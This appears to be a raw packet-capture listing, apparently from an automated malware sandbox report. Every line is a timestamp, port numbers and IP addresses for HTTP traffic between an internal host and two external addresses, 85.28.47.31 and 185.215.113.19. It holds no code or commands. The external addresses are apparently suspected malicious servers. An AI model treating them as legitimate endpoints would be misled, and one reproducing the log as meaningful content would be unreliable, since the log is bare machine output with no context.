Jul 26, 2024 13:49:24.670670986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670681000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670691967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670701981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670712948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670723915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670734882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670746088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670809984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670820951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670830965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670841932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670845032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.670851946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670855999 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.670855999 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.670855999 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.670861959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670872927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670885086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670895100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670947075 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.670947075 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.670947075 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.670969009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670979977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.670990944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.671005011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.671011925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.671014071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.671016932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.671022892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.671032906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.671044111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.672350883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.672363997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.672374964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.672385931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.672395945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.672408104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.685736895 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.685847044 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.749236107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.749350071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.749362946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.749476910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.749488115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.749499083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.749784946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.749946117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.750088930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.750099897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.750399113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.750410080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.750421047 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.750432014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751358986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751370907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751382113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751393080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751513004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751523972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751533985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751543999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751554966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751565933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751576900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751585960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751596928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751605988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751636982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751652956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751662970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751673937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751683950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751696110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751705885 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751715899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751725912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751735926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751745939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751756907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751766920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751775980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751787901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751797915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751810074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.751820087 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.752381086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752393007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752515078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752527952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752537966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752562046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752573013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752582073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752593040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752602100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752613068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752623081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752633095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752643108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.752652884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753273010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753284931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753287077 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.753295898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753309011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753318071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753319025 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.753329039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753339052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753349066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753359079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753369093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753371000 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.753371954 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.753379107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753391981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:24.753424883 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.753424883 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.753529072 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.754102945 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.754102945 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:24.916477919 CEST	80	59041	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:24.916786909 CEST	59041	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:25.119842052 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.122224092 CEST	59041	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:25.122517109 CEST	59046	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:25.126849890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.129806042 CEST	80	59041	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:25.129873037 CEST	59041	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:25.130245924 CEST	80	59046	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:25.130314112 CEST	59046	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:25.130431890 CEST	59046	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:25.138314009 CEST	80	59046	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:25.295147896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.295176983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.295192003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.295301914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.295314074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.295346975 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.295383930 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.295450926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.295624971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.295635939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296150923 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.296176910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296189070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296200991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296211004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296222925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296233892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296351910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296364069 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296374083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296386957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.296396971 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.296396971 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.296396971 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.296519995 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.296519995 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.297074080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297086000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297096968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297106028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297220945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297230959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297241926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297251940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297261953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297271967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297291994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.297291994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.297627926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297637939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297648907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297658920 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297668934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297678947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297689915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297700882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297741890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297754049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.297797918 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.297797918 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.298305035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298316002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298325062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298336029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298346043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298357964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298366070 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.298475981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298485994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298496008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298506021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298516035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298526049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298537016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298547029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298638105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298649073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298659086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298669100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298680067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.298731089 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.298731089 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.298731089 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.299401045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299412012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299422026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299458027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299483061 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.299483061 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.299592018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299602985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299613953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299623966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299634933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299644947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299654961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.299849987 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.299849987 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.300467014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300478935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300494909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300506115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300647974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300658941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300669909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300679922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300689936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300700903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300709963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300715923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300720930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300730944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.300838947 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.300838947 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.301376104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301387072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301397085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301408052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301409960 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.301423073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301434040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301444054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301480055 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.301480055 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.301480055 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.301551104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301562071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301572084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301582098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301593065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301603079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.301925898 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.302228928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302241087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302251101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302306890 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.302306890 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.302407980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302418947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302429914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302439928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302449942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302460909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302472115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302483082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302493095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302504063 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302514076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.302582026 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.302582026 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.303118944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.303129911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.303142071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.303153038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.303163052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.304060936 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.382963896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.382977962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383100033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383111000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383121967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383132935 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.383306026 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383316994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383327961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383341074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383352041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383548975 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.383554935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383567095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383578062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383588076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383599043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383609056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383620024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383630037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.383680105 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.383680105 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.383680105 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.384047031 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384057999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384068966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384078979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384089947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384103060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384291887 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.384426117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384437084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384448051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384459019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384469032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384479046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384495974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384506941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384516954 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384526968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384537935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384548903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384558916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384569883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.384582043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385224104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385235071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385245085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385255098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385266066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.385276079 CEST	80	59020	85.28.47.31	192.168.2.6
